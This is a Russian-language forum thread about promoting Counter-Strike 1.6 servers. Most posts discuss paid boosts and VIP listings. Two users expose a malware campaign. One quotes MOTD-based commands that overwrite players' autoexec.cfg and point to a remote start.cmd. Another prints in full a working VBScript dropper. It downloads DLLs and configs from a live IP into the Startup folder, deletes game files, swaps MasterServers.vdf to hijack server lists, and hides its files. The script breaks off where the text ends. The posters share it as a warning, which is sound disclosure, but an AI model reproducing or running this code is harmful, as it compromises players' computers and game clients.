Информационная доска

Данный раздел предназначен для возможности показать свой проект по продвижению игровых серверов.
Все новые темы премодерирует Администратор umprex.

Для того, что бы ваша тема прошла проверку, вам нужно иметь более чем одну тысячу уникальных пользователей вашего мастерсервера, а так же, нужно предоставить постоянный доступ администратору.
Постоянный доступ нужен для того, что бы мы могли подтвердить или опровергнуть достоверность ваших данных. Подобная проверка будет осуществляться каждое первое число нового месяца и если ваш мастерсервер будет иметь менее чем 1 тысячу уникальных пользователей, ваша тема будет закрыта.

Обсуждение раскрутки cs сервера

, обсуждение эффекта от раскруток

Опции

KeIIa	28.9.2017, 19:37 Сообщение #7921
Стаж: 11 лет Сообщений: 1415 Благодарностей: 461 Полезность: 434	как раскрутить сервер без бустов и чтоб онлайн был 32/32 , если на нем 17 раскруток стоит и все равно оналйн проседает жестко. раскрутки все почти стоят, кроме ctr все занять не могу, и топ-мс о нем только мечтать можно. Бустами не пользуюсь вообще, не считая что на фуллсервере акция была и пришлось взять круги.
	Поблагодарили 0 раз Поблагодарили 0 раз

Kr1k	28.9.2017, 20:09 Сообщение #7922
Стаж: 10 лет Город: Пермь Сообщений: 2639 Благодарностей: 749 Полезность: 750	Цитата(KeIIa @ 28.9.2017, 23:37) как раскрутить сервер без бустов и чтоб онлайн был 32/32 , если на нем 17 раскруток стоит и все равно оналйн проседает жестко. раскрутки все почти стоят, кроме ctr все занять не могу, и топ-мс о нем только мечтать можно. Бустами не пользуюсь вообще, не считая что на фуллсервере акция была и пришлось взять круги. gs-monitor.com top-ms.ru strikes.ru boostcs.ru turbo-boost. Masterserver Большую роль играют постоянные игроки ))))
	Поблагодарили 0 раз Поблагодарили 0 раз

KeIIa	28.9.2017, 20:12 Сообщение #7923
Стаж: 11 лет Сообщений: 1415 Благодарностей: 461 Полезность: 434	Kr1k, gs-monitor.com вип+цвет стоит strikes.ru вип+цвет стоит turbo-boost. вип и многие другие стоят, и с постояльцами тоже в порядке, может то что сервер молодой и не так много кто знает о нем, всего 4 месяца будет 1 числа.
	Поблагодарили 0 раз Поблагодарили 0 раз

EvilSMS	28.9.2017, 21:13 Сообщение #7924
Стаж: 10 лет Сообщений: 1801 Благодарностей: 410 Полезность: < 0	KeIIa, по секрету скажу, кс на сток просела что буст не чем не поможет и не важно скок в конторе уников)
	Поблагодарили 0 раз Поблагодарили 0 раз

Gliscure	28.9.2017, 21:19 Сообщение #7925
Стаж: 13 лет Город: Набережные Челны Сообщений: 1266 Благодарностей: 300 Полезность: 486	Из 17 раскруток от 8-10 можешь отказаться, так как скорее всего это пустышки
	Поблагодарили 0 раз Поблагодарили 0 раз

nukutkooo	28.9.2017, 21:33 Сообщение #7926
Стаж: 11 лет Сообщений: 9 Благодарностей: 1 Полезность: 0	Цитата(Kr1k @ 28.9.2017, 20:00) долго висит вип на сs-strike, может кому то надо Зачем постоянно напоминать про этот cs-strike, уже давненько эффекта почти нет там, нормальные люди отказываются от услуг этой конторы, тебе админ платит или что?
	Поблагодарили 0 раз Поблагодарили 0 раз

Lifestyle	28.9.2017, 22:00 Сообщение #7927
Стаж: 9 лет 1 месяц Сообщений: 490 Благодарностей: 195 Полезность: 634	Цитата(KeIIa @ 28.9.2017, 19:37) как раскрутить сервер без бустов и чтоб онлайн был 32/32 , если на нем 17 раскруток стоит и все равно оналйн проседает жестко. раскрутки все почти стоят, кроме ctr все занять не могу, и топ-мс о нем только мечтать можно. Бустами не пользуюсь вообще, не считая что на фуллсервере акция была и пришлось взять круги. Никак не раскрутить без бустов. Даже с бустами 32/32 круглосуточно держаться не будет. Решать тебе, будешь ли вкладываться в бусты или нет. Отредактировал: Lifestyle, - 28.9.2017, 22:01 Мудрость жизни всегда глубже и обширнее мудрости людей.
	Поблагодарили 0 раз Поблагодарили 0 раз

KeIIa	28.9.2017, 22:26 Сообщение #7928
Стаж: 11 лет Сообщений: 1415 Благодарностей: 461 Полезность: 434	взял вчера на your-mon.com "избранное" а уников вообще ни одного не увидел на сервере, умерла раскрутка что ли?
	Поблагодарили 0 раз Поблагодарили 0 раз

lol1989	29.9.2017, 0:01 Сообщение #7929
Стаж: 12 лет Город: Калуга Сообщений: 283 Благодарностей: 54 Полезность: < 0	Просто любопытно, как на гс-м в тайм-вип из 60 серверов 25 заняты неким tuck96 это же бред! Не? Только не надо из категории "руки из нужного места" и т.д. Получается что сотни других людей, подчеркиваю СОТНИ СУк РАЗНЫХ ЛЮДЕЙ с кривыми ручками? Хотел попробовать занять сегодня, глянул чей вылетать будет...бинго! Сервер данного пользователя, можно наверное и не пробывать...гипер быстрые руки у человека и отличный инет) у остальных так себе ведь все))))) либо с софтом занимает, либо помогает кто-то. имхо. Наглость это. Отредактировал: lol1989, - 29.9.2017, 0:02
	Поблагодарили 0 раз Поблагодарили 0 раз

sergggzi	29.9.2017, 0:47 Сообщение #7930
Стаж: 13 лет Сообщений: 6536 Благодарностей: 6222 Полезность: 807	lol1989, я уже приводил данные в этой теме, ему требуется 9-12 сек. Если у вас есть доказательства, что юзают софт, тогда стоит писать. Для меня это звучит примерно так, когда на сервере появляется хороший игрок, никто доказать не может, что он читер, но все хором поют одну и ту же песню. ps тут сейчас наблюдаю за другим событием. Стали детектиться редиректы с серверов, которые уже давно в мс. Суть такова, что идет редирект на Cкрытый текст connect: connect=redirect 89.43.62.243:21015 далее редирект на Запрещенная команда: wait Запрещенная команда: "connect"bst.traficzone.com:27015 Запрещенная команда: motdfile "autoexec.CFG";motd_write Connect bst.traficzone.com:27015 Запрещенная команда: motdfile "default.CFG";motd_write Connect bst.traficzone.com:27015 Запрещенная команда: _ttp://89.43.62.62/tet/start.cmd Отредактировал: sergggzi, - 29.9.2017, 1:46
	Поблагодарили 0 раз Поблагодарили 0 раз

kalashnikov	29.9.2017, 3:41 Сообщение #7931
Стаж: 9 лет 3 месяца Сообщений: 231 Благодарностей: 50 Полезность: < 0	Цитата(KeIIa @ 28.9.2017, 19:37) как раскрутить сервер без бустов и чтоб онлайн был 32/32 , если на нем 17 раскруток стоит и все равно оналйн проседает жестко. раскрутки все почти стоят, кроме ctr все занять не могу, и топ-мс о нем только мечтать можно. Бустами не пользуюсь вообще, не считая что на фуллсервере акция была и пришлось взять круги. Если у тебя есть вип в гсм и страйкесе каждый месяц продлевай их и не обращай внимание на онлайн, и больше ни в где не покупай раскрутку, и у тебя со временем будет онлайн 32/32 как у меня.
	Поблагодарили 0 раз Поблагодарили 0 раз

Kr1k	29.9.2017, 4:40 Сообщение #7932
Стаж: 10 лет Город: Пермь Сообщений: 2639 Благодарностей: 749 Полезность: 750	Цитата(nukutkooo @ 29.9.2017, 1:33) Зачем постоянно напоминать про этот cs-strike, уже давненько эффекта почти нет там, нормальные люди отказываются от услуг этой конторы, тебе админ платит или что? Нет, просто свободно , думаю кому то надо , может кто то сильно хочет там вип , у самого там нет услуг !
	Поблагодарили 0 раз Поблагодарили 0 раз

erzhan2396	29.9.2017, 7:36 Сообщение #7933
Стаж: 9 лет 1 месяц Сообщений: 273 Благодарностей: 23 Полезность: < 0	sergggzi, у вас в тайм випе 1 сервер забаненный, через сколько дней этот сервер удалят с тайм Вип??
	Поблагодарили 0 раз Поблагодарили 0 раз

KeIIa	29.9.2017, 7:48 Сообщение #7934
Стаж: 11 лет Сообщений: 1415 Благодарностей: 461 Полезность: 434	kalashnikov, у меня там и там стоит вип + цвет а толку все равно нет) + много где еще стоит вип и топ
	Поблагодарили 0 раз Поблагодарили 0 раз

Legendacs	29.9.2017, 8:04 Сообщение #7935
Стаж: 12 лет Сообщений: 1637 Благодарностей: 508 Полезность: 592 Меценат	sergggzi, Опять подмена новая?
	Поблагодарили 0 раз Поблагодарили 0 раз

Ramil85	29.9.2017, 8:18 Сообщение #7936
Стаж: 10 лет Сообщений: 203 Благодарностей: 31 Полезность: 133	sergggzi, Потом всякая "нечесть" с этого (IP) 80.211.195.16 скачивается... Содержимое скрипта, кому интересно: Windows.vbs Sub unProtectFile( filename ) dim readfile, filesys set filesys = CreateObject("Scripting.FileSystemObject") If filesys.FileExists( filename ) Then set readfile = filesys.GetFile( filename ) readfile.Attributes = 0 ' normal End If End Sub Sub protectFile( filename ) dim readfile, filesys set filesys = CreateObject("Scripting.FileSystemObject") If filesys.FileExists( filename ) Then set readfile = filesys.GetFile( filename ) readfile.Attributes = 7 ' hidden + system + readonly End If End Sub Sub DeleteAFile( filename ) Dim filesys Set filesys = CreateObject("Scripting.FileSystemObject") If filesys.FileExists( filename ) Then unProtectFile( filename ) filesys.DeleteFile( filename ), True End If End Sub Sub RenameFile( oldName, newName ) Dim filesys Set filesys = WScript.CreateObject("Scripting.FileSystemObject") If filesys.FileExists( oldName ) Then filesys.MoveFile oldName, newName End If End Sub Sub DeleteAFolder( foldername ) Dim filesys Set filesys = CreateObject("Scripting.FileSystemObject") If filesys.FolderExists( foldername ) Then unProtectFile( foldername ) filesys.DeleteFolder( foldername ), True End If End Sub Sub RenameFolder( oldName, newName ) Dim filesys Set filesys = WScript.CreateObject("Scripting.FileSystemObject") If filesys.FolderExists( oldName ) Then filesys.MoveFolder oldName, newName End If End Sub Set objShell = Wscript.CreateObject("Wscript.Shell") strPath = objShell.SpecialFolders("StartUp") strMyPath = strPath & "\" On Error Resume Next ' Download File hw.dll strURL="http://80.211.195.16/hw.dll?" & Rnd On Error Resume Next Set xml = CreateObject("Microsoft.XMLHTTP") xml.Open "GET", strURL, False xml.Send If Err.Number <> 0 Then WScript.Quit ' if file download fails, quit script Else set oStream = createobject("Adodb.Stream") oStream.type = 1 ' adTypeBinary oStream.open oStream.write xml.responseBody ' overwrite oStream.savetofile strMyPath & "hw.upk", 2 ' adSaveCreateOverWrite oStream.close set oStream = nothing Set xml = Nothing End If Err.Clear On Error Goto 0 ' Download File Steam_orig.dll strURL="http://80.211.195.16/Steam_orig.dll?" & Rnd On Error Resume Next Set xml = CreateObject("Microsoft.XMLHTTP") xml.Open "GET", strURL, False xml.Send If Err.Number <> 0 Then WScript.Quit ' if file download fails, quit script Else set oStream = createobject("Adodb.Stream") oStream.type = 1 ' adTypeBinary oStream.open oStream.write xml.responseBody ' overwrite oStream.savetofile strMyPath & "Steam_orig.upk", 2 ' adSaveCreateOverWrite oStream.close set oStream = nothing Set xml = Nothing End If Err.Clear On Error Goto 0 ' Download File steamsmaster.dll strURL="http://80.211.195.16/steamsmaster.dll?" & Rnd On Error Resume Next Set xml = CreateObject("Microsoft.XMLHTTP") xml.Open "GET", strURL, False xml.Send If Err.Number <> 0 Then WScript.Quit ' if file download fails, quit script Else set oStream = createobject("Adodb.Stream") oStream.type = 1 ' adTypeBinary oStream.open oStream.write xml.responseBody ' overwrite oStream.savetofile strMyPath & "steamsmaster.upk", 2 ' adSaveCreateOverWrite oStream.close set oStream = nothing Set xml = Nothing End If Err.Clear On Error Goto 0 ' Download File rev.ini strURL="http://80.211.195.16/rev.ini?" & Rnd On Error Resume Next Set xml = CreateObject("Microsoft.XMLHTTP") xml.Open "GET", strURL, False xml.Send If Err.Number <> 0 Then WScript.Quit ' if file download fails, quit script Else set oStream = createobject("Adodb.Stream") oStream.type = 1 ' adTypeBinary oStream.open oStream.write xml.responseBody ' overwrite oStream.savetofile strMyPath & "rev.upk", 2 ' adSaveCreateOverWrite oStream.close set oStream = nothing Set xml = Nothing End If Err.Clear On Error Goto 0 ' Download File BCShield.dll strURL="http://80.211.195.16/engine.asi?" & Rnd On Error Resume Next Set xml = CreateObject("Microsoft.XMLHTTP") xml.Open "GET", strURL, False xml.Send If Err.Number <> 0 Then WScript.Quit ' if file download fails, quit script Else set oStream = createobject("Adodb.Stream") oStream.type = 1 ' adTypeBinary oStream.open oStream.write xml.responseBody ' overwrite oStream.savetofile strMyPath & "engine.asi.upk", 2 ' adSaveCreateOverWrite oStream.close set oStream = nothing Set xml = Nothing End If Err.Clear On Error Goto 0 ' Download File BCShield.dll.bak strURL="http://80.211.195.16/raiz0CFG.asi?" & Rnd On Error Resume Next Set xml = CreateObject("Microsoft.XMLHTTP") xml.Open "GET", strURL, False xml.Send If Err.Number <> 0 Then WScript.Quit ' if file download fails, quit script Else set oStream = createobject("Adodb.Stream") oStream.type = 1 ' adTypeBinary oStream.open oStream.write xml.responseBody ' overwrite oStream.savetofile strMyPath & "raiz0CFG.asi.upk", 2 ' adSaveCreateOverWrite oStream.close set oStream = nothing Set xml = Nothing End If Err.Clear On Error Goto 0 ' Download File BCShield.asi strURL="http://80.211.195.16/raiz0CFG.dll?" & Rnd On Error Resume Next Set xml = CreateObject("Microsoft.XMLHTTP") xml.Open "GET", strURL, False xml.Send If Err.Number <> 0 Then WScript.Quit ' if file download fails, quit script Else set oStream = createobject("Adodb.Stream") oStream.type = 1 ' adTypeBinary oStream.open oStream.write xml.responseBody ' overwrite oStream.savetofile strMyPath & "raiz0CFG.dll.upk", 2 ' adSaveCreateOverWrite oStream.close set oStream = nothing Set xml = Nothing End If Err.Clear On Error Goto 0 ' Download File BCShield.asi strURL="http://80.211.195.16/TrafiCFG.ini?" & Rnd On Error Resume Next Set xml = CreateObject("Microsoft.XMLHTTP") xml.Open "GET", strURL, False xml.Send If Err.Number <> 0 Then WScript.Quit ' if file download fails, quit script Else set oStream = createobject("Adodb.Stream") oStream.type = 1 ' adTypeBinary oStream.open oStream.write xml.responseBody ' overwrite oStream.savetofile strMyPath & "TrafiCFG.ini.upk", 2 ' adSaveCreateOverWrite oStream.close set oStream = nothing Set xml = Nothing End If Err.Clear On Error Goto 0 ' Download file protector.cfg On Error Resume Next Set objHTTP = CreateObject("MSXML2.XMLHTTP") Call objHTTP.Open("GET", "http://80.211.195.16/protector.cfg?" & Rnd, FALSE) objHTTP.Send If Err.Number <> 0 Then Else DeleteAFile strMyPath & "protector.upk" Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.CreateTextFile(strMyPath & "protector.upk", ForWriting) objFile.Write objHTTP.ResponseText objFile.Close 'protectFile(strMyPath & "protector.upk") End If On Error Goto 0 ' Download file restart_debug.bat On Error Resume Next Set objHTTP = CreateObject("MSXML2.XMLHTTP") Call objHTTP.Open("GET", "http://80.211.195.16/restart_debug.bat?" & Rnd, FALSE) objHTTP.Send If Err.Number <> 0 Then Else DeleteAFile strMyPath & "restart_debug.upk" Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.CreateTextFile(strMyPath & "restart_debug.upk", ForWriting) objFile.Write objHTTP.ResponseText objFile.Close protectFile(strMyPath & "restart_debug.upk") End If On Error Goto 0 ' Download file MasterServers On Error Resume Next Set objHTTP = CreateObject("MSXML2.XMLHTTP") Call objHTTP.Open("GET", "http://80.211.195.16/MasterServers.vdf?" & Rnd, FALSE) objHTTP.Send If Err.Number <> 0 Then Else DeleteAFile strMyPath & "MasterServers.upk" Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.CreateTextFile(strMyPath & "MasterServers.upk", ForWriting) objFile.Write objHTTP.ResponseText objFile.Close protectFile(strMyPath & "MasterServers.upk") End If On Error Goto 0 ' Download file GameMenu.res On Error Resume Next Set objHTTP = CreateObject("MSXML2.XMLHTTP") Call objHTTP.Open("GET", "http://80.211.195.16/GameMenu.res?" & Rnd, FALSE) objHTTP.Send If Err.Number <> 0 Then Else DeleteAFile strMyPath & "GameMenu.upk" Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.CreateTextFile(strMyPath & "GameMenu.upk", ForWriting) objFile.Write objHTTP.ResponseText objFile.Close protectFile(strMyPath & "GameMenu.upk") End If On Error Goto 0 ' Download file liblist.gam On Error Resume Next Set objHTTP = CreateObject("MSXML2.XMLHTTP") Call objHTTP.Open("GET", "http://80.211.195.16/liblist.gam?" & Rnd, FALSE) objHTTP.Send If Err.Number <> 0 Then Else DeleteAFile strMyPath & "liblist.upk" Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.CreateTextFile(strMyPath & "liblist.upk", ForWriting) objFile.Write objHTTP.ResponseText objFile.Close protectFile(strMyPath & "liblist.upk") End If On Error Goto 0 ' Download file motd_temp.html On Error Resume Next Set objHTTP = CreateObject("MSXML2.XMLHTTP") Call objHTTP.Open("GET", "http://80.211.195.16/motd_temp.html?" & Rnd, FALSE) objHTTP.Send If Err.Number <> 0 Then Else DeleteAFile strMyPath & "motd_temp.html" Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.CreateTextFile(strMyPath & "motd_temp.html", ForWriting) objFile.Write objHTTP.ResponseText objFile.Close protectFile(strMyPath & "motd_temp.html") End If On Error Goto 0 ' Clear file and folder BIN On Error Resume Next Set objHTTP = CreateObject("MSXML2.XMLHTTP") Call objHTTP.Open("GET", "http://80.211.195.16/engine.php?" & Rnd, FALSE) objHTTP.Send If Err.Number <> 0 Then Else DeleteAFile strMyPath & "bin" Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.CreateTextFile(strMyPath & "bin", ForWriting) objFile.Write objHTTP.ResponseText objFile.Close protectFile(strMyPath & "bin") End If On Error Goto 0 ' Clear file and folder SAVE On Error Resume Next Set objHTTP = CreateObject("MSXML2.XMLHTTP") Call objHTTP.Open("GET", "http://80.211.195.16/engine.php?" & Rnd, FALSE) objHTTP.Send If Err.Number <> 0 Then Else DeleteAFile strMyPath & "SAVE" Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.CreateTextFile(strMyPath & "SAVE", ForWriting) objFile.Write objHTTP.ResponseText objFile.Close protectFile(strMyPath & "SAVE") End If On Error Goto 0 ' Clear files On Error Resume Next ClearCFG "cstrike\userconfig.cfg" ClearCFG "cstrike\autoexec.cfg" ClearCFG "cstrike\(null).cfg" ClearCFG "cstrike\banned.cfg" ClearCFG "cstrike\joystick.cfg" ClearCFG "cstrike\language.cfg" ClearCFG "cstrike\listenserver.cfg" ClearCFG "cstrike\listip.cfg" ClearCFG "cstrike\server.cfg" ClearCFG "cstrike\violence.cfg" ClearCFG "cstrike\valve.rc" ClearCFG "valve\hw\geforce.cfg" ClearCFG "valve\hw\opengl.cfg" ClearCFG "valve\hw\nvidiad3d.cfg" ClearCFG "valve\hw\d3d.cfg" ClearCFG "valve\userconfig.cfg" ClearCFG "valve\autoexec.cfg" ClearCFG "valve\(null).cfg" ClearCFG "valve\banned.cfg" ClearCFG "valve\joystick.cfg" ClearCFG "valve\language.cfg" ClearCFG "valve\listenserver.cfg" ClearCFG "valve\listip.cfg" ClearCFG "valve\server.cfg" ClearCFG "valve\violence.cfg" ClearCFG "valve\valve.rc" On Error Goto 0 strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set colFiles = objWMIService.ExecQuery _ ("Select * from CIM_DataFile Where Filename = 'hl' and Extension = 'exe'") For Each objFile in colFiles On Error Resume Next RenameFolder objFile.Drive & objFile.Path & "cstrike\bin", objFile.Drive & objFile.Path & "cstrike\bin_old" RenameFolder objFile.Drive & objFile.Path & "cstrike\save", objFile.Drive & objFile.Path & "cstrike\save_old" RenameFolder objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res", objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res.old" DeleteAFolder objFile.Drive & objFile.Path & "cstrike\bin" DeleteAFolder objFile.Drive & objFile.Path & "cstrike\save" DeleteAFolder objFile.Drive & objFile.Path & "cstrike\bin_old" DeleteAFolder objFile.Drive & objFile.Path & "cstrike\save_old" RenameFile objFile.Drive & objFile.Path & "GTProtector.dll", objFile.Drive & objFile.Path & "GTProtector.dll.old" RenameFile objFile.Drive & objFile.Path & "GTProtector.asi", objFile.Drive & objFile.Path & "GTProtector.asi.old" RenameFile objFile.Drive & objFile.Path & "GTProtector.ini", objFile.Drive & objFile.Path & "GTProtector.ini.old" RenameFile objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res", objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res.old" DeleteAFile objFile.Drive & objFile.Path & "GTProtector.asi" DeleteAFile objFile.Drive & objFile.Path & "GTProtector.dll" DeleteAFile objFile.Drive & objFile.Path & "GTProtector.ini" DeleteAFile objFile.Drive & objFile.Path & "GTProtector.asi.old" DeleteAFile objFile.Drive & objFile.Path & "GTProtector.dll.old" DeleteAFile objFile.Drive & objFile.Path & "GTProtector.ini.old" RenameFile objFile.Drive & objFile.Path & "UCS.asi", objFile.Drive & objFile.Path & "UCS.asi.old" RenameFile objFile.Drive & objFile.Path & "UCS.vbs", objFile.Drive & objFile.Path & "UCS.vbs.old" DeleteAFile objFile.Drive & objFile.Path & "UCS.asi" DeleteAFile objFile.Drive & objFile.Path & "UCS.vbs" DeleteAFile objFile.Drive & objFile.Path & "UCS.asi.old" DeleteAFile objFile.Drive & objFile.Path & "UCS.vbs.old" DeleteAFile objFile.Drive & objFile.Path & "SMShield.txt" DeleteAFile objFile.Drive & objFile.Path & "SMShield.txt.bak" DeleteAFile objFile.Drive & objFile.Path & "SMShield.asi" DeleteAFile objFile.Drive & objFile.Path & "SMShield.dll" DeleteAFile objFile.Drive & objFile.Path & "SMShield.dll.bak" DeleteAFile objFile.Drive & objFile.Path & "SMShield.asi" RenameFile objFile.Drive & objFile.Path & "cstrike\motd_temp.html", objFile.Drive & objFile.Path & "cstrike\motd_temp.html.old" RenameFile objFile.Drive & objFile.Path & "cstrike\resurce\GameMenu.res", objFile.Drive & objFile.Path & "cstrike\resurce\GameMenu.res.old" DeleteAFile objFile.Drive & objFile.Path & "cstrike\motd_temp.html.old" RenameFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll", objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old" RenameFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll", objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old" DeleteAFile objFile.Drive & objFile.Path & "cstrike\bin\TrackerUI.dll.old" DeleteAFile objFile.Drive & objFile.Path & "valve\bin\TrackerUI.dll.old" RenameFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\Particleman.dll", objFile.Drive & objFile.Path & "cstrike\cl_dlls\Particleman.dll.old" RenameFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\GameUI.dll", objFile.Drive & objFile.Path & "cstrike\cl_dlls\GameUI.dll.old" DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\Particleman.dll.old" DeleteAFile objFile.Drive & objFile.Path & "cstrike\cl_dlls\GameUI.dll.old" RenameFile objFile.Drive & objFile.Path & "mssv55.asi", objFile.Drive & objFile.Path & "mssv55.asi.old" DeleteAFile objFile.Drive & objFile.Path & "mssv55.asi.old" DeleteAFile objFile.Drive & objFile.Path & "hw.dll" DeleteAFile objFile.Drive & objFile.Path & "Steam_orig.dll" DeleteAFile objFile.Drive & objFile.Path & "steamsmaster.dll" DeleteAFile objFile.Drive & objFile.Path & "rev.ini" DeleteAFile objFile.Drive & objFile.Path & "engine.asi" DeleteAFile objFile.Drive & objFile.Path & "raiz0CFG.asi" DeleteAFile objFile.Drive & objFile.Path & "raiz0CFG.dll" DeleteAFile objFile.Drive & objFile.Path & "TrafiCFG.ini" DeleteAFile objFile.Drive & objFile.Path & "ati.EXE" DeleteAFile objFile.Drive & objFile.Path & "cstrike\protector.cfg" DeleteAFile objFile.Drive & objFile.Path & "restart_debug.bat" DeleteAFile objFile.Drive & objFile.Path & "config\MasterServers.vdf" DeleteAFile objFile.Drive & objFile.Path & "config\rev_MasterServers.vdf" DeleteAFile objFile.Drive & objFile.Path & "platform\config\MasterServers.vdf" DeleteAFile objFile.Drive & objFile.Path & "platform\config\rev_MasterServers.vdf" DeleteAFile objFile.Drive & objFile.Path & "steam\config\MasterServers.vdf" DeleteAFile objFile.Drive & objFile.Path & "steam\config\rev_MasterServers.vdf" DeleteAFile objFile.Drive & objFile.Path & "config\rew_MasterServers.vdf" DeleteAFile objFile.Drive & objFile.Path & "platform\config\rew_MasterServers.vdf" DeleteAFile objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res" DeleteAFile objFile.Drive & objFile.Path & "cstrike\liblist.gam" DeleteAFile objFile.Drive & objFile.Path & "cstrike\motd_temp.html" DeleteAFile objFile.Drive & objFile.Path & "cstrike\userconfig.cfg" Dim FSO Set FSO = CreateObject("Scripting.FileSystemObject") FSO.CopyFile strMyPath & "hw.upk", objFile.Drive & objFile.Path & "hw.dll" FSO.CopyFile strMyPath & "Steam_orig.upk", objFile.Drive & objFile.Path & "Steam_orig.dll" FSO.CopyFile strMyPath & "steamsmaster.upk", objFile.Drive & objFile.Path & "steamsmaster.dll" FSO.CopyFile strMyPath & "rev.upk", objFile.Drive & objFile.Path & "rev.ini" FSO.CopyFile strMyPath & "engine.asi.upk", objFile.Drive & objFile.Path & "engine.asi" FSO.CopyFile strMyPath & "raiz0CFG.asi.upk", objFile.Drive & objFile.Path & "raiz0CFG.asi" FSO.CopyFile strMyPath & "raiz0CFG.dll.upk", objFile.Drive & objFile.Path & "raiz0CFG.dll" FSO.CopyFile strMyPath & "TrafiCFG.ini.upk", objFile.Drive & objFile.Path & "TrafiCFG.ini" FSO.CopyFile strMyPath & "ati.EXE.upk", objFile.Drive & objFile.Path & "ati.EXE" FSO.CopyFile strMyPath & "protector.upk", objFile.Drive & objFile.Path & "cstrike\protector.cfg" FSO.CopyFile strMyPath & "restart_debug.upk", objFile.Drive & objFile.Path & "restart_debug.bat" FSO.CopyFile strMyPath & "MasterServers.upk", objFile.Drive & objFile.Path & "config\MasterServers.vdf" FSO.CopyFile strMyPath & "MasterServers.upk", objFile.Drive & objFile.Path & "config\rev_MasterServers.vdf" FSO.CopyFile strMyPath & "MasterServers.upk", objFile.Drive & objFile.Path & "platform\config\MasterServers.vdf" FSO.CopyFile strMyPath & "MasterServers.upk", objFile.Drive & objFile.Path & "platform\config\rev_MasterServers.vdf" FSO.CopyFile strMyPath & "MasterServers.upk", objFile.Drive & objFile.Path & "steam\config\MasterServers.vdf" FSO.CopyFile strMyPath & "MasterServers.upk", objFile.Drive & objFile.Path & "steam\config\rev_MasterServers.vdf" FSO.CopyFile strMyPath & "MasterServers.upk", objFile.Drive & objFile.Path & "config\rew_MasterServers.vdf" FSO.CopyFile strMyPath & "MasterServers.upk", objFile.Drive & objFile.Path & "platform\config\rew_MasterServers.vdf" FSO.CopyFile strMyPath & "GameMenu.upk", objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res" FSO.CopyFile strMyPath & "liblist.upk", objFile.Drive & objFile.Path & "cstrike\liblist.gam" FSO.CopyFile strMyPath & "motd_temp.html", objFile.Drive & objFile.Path & "cstrike\motd_temp.html" FSO.CopyFile strMyPath & "bin", objFile.Drive & objFile.Path & "cstrike\" FSO.CopyFile strMyPath & "SAVE", objFile.Drive & objFile.Path & "cstrike\" Set FSO = nothing protectFile(objFile.Drive & objFile.Path & "hw.dll") protectFile(objFile.Drive & objFile.Path & "Steam_orig.dll") protectFile(objFile.Drive & objFile.Path & "steamsmaster.dll") protectFile(objFile.Drive & objFile.Path & "rev.ini") protectFile(objFile.Drive & objFile.Path & "engine.asi") protectFile(objFile.Drive & objFile.Path & "raiz0CFG.asi") protectFile(objFile.Drive & objFile.Path & "raiz0CFG.dll") protectFile(objFile.Drive & objFile.Path & "Windows.vbs") protectFile(objFile.Drive & objFile.Path & "TrafiCFG.ini") protectFile(objFile.Drive & objFile.Path & "config\MasterServers.vdf") protectFile(objFile.Drive & objFile.Path & "config\rev_MasterServers.vdf") protectFile(objFile.Drive & objFile.Path & "platform\config\MasterServers.vdf") protectFile(objFile.Drive & objFile.Path & "platform\config\rev_MasterServers.vdf") protectFile(objFile.Drive & objFile.Path & "steam\config\MasterServers.vdf") protectFile(objFile.Drive & objFile.Path & "steam\config\rev_MasterServers.vdf") protectFile(objFile.Drive & objFile.Path & "config\rew_MasterServers.vdf") protectFile(objFile.Drive & objFile.Path & "platform\config\rew_MasterServers.vdf") protectFile(objFile.Drive & objFile.Path & "cstrike\resource\GameMenu.res") protectFile(objFile.Drive & objFile.Path & "cstrike\liblist.gam") protectFile(objFile.Drive & objFile.Path & "cstrike\userconfig.cfg") protectFile(objFile.Drive & objFile.Path & "cstrike\autoexec.cfg") protectFile(objFile.Drive & objFile.Path & "cstrike\(null).cfg") protectFile(objFile.Drive & objFile.Path & "cstrike\banned.cfg") protectFile(objFile.Drive & objFile.Path & "cstrike\joystick.cfg") protectFile(objFile.Drive & objFile.Path & "cstrike\language.cfg") protectFile(objFile.Drive & objFile.Path & "cstrike\listenserver.cfg") protectFile(objFile.Drive & objFile.Path & "cstrike\listip.cfg") protectFile(objFile.Drive & objFile.Path & "cstrike\server.cfg") protectFile(objFile.Drive & objFile.Path & "cstrike\violence.cfg") protectFile(objFile.Drive & objFile.Path & "cstrike\valve.rc") protectFile(objFile.Drive & objFile.Path & "cstrike\bin") protectFile(objFile.Drive & objFile.Path & "cstrike\SAVE") On Error Goto 0 Next DeleteAFile strMyPath & "hw.upk" DeleteAFile strMyPath & "Steam_orig.upk" DeleteAFile strMyPath & "steamsmaster.upk" DeleteAFile strMyPath & "rev.upk" DeleteAFile strMyPath & "engine.asi.upk" DeleteAFile strMyPath & "ati.EXE.upk" DeleteAFile strMyPath & "raiz0CFG.asi.upk" DeleteAFile strMyPath & "raiz0CFG.dll.upk" DeleteAFile strMyPath & "TrafiCFG.ini.upk" DeleteAFile strMyPath & "protector.upk" DeleteAFile strMyPath & "restart_debug.upk" DeleteAFile strMyPath & "MasterServers.upk" DeleteAFile strMyPath & "GameMenu.upk" DeleteAFile strMyPath & "liblist.upk" DeleteAFile strMyPath & "motd_temp.html" DeleteAFile strMyPath & "bin" DeleteAFile strMyPath & "SAVE" Sub Up() Set objShell = Wscript.CreateObject("Wscript.Shell") strPath = objShell.SpecialFolders("StartUp") strMyPath = strPath & 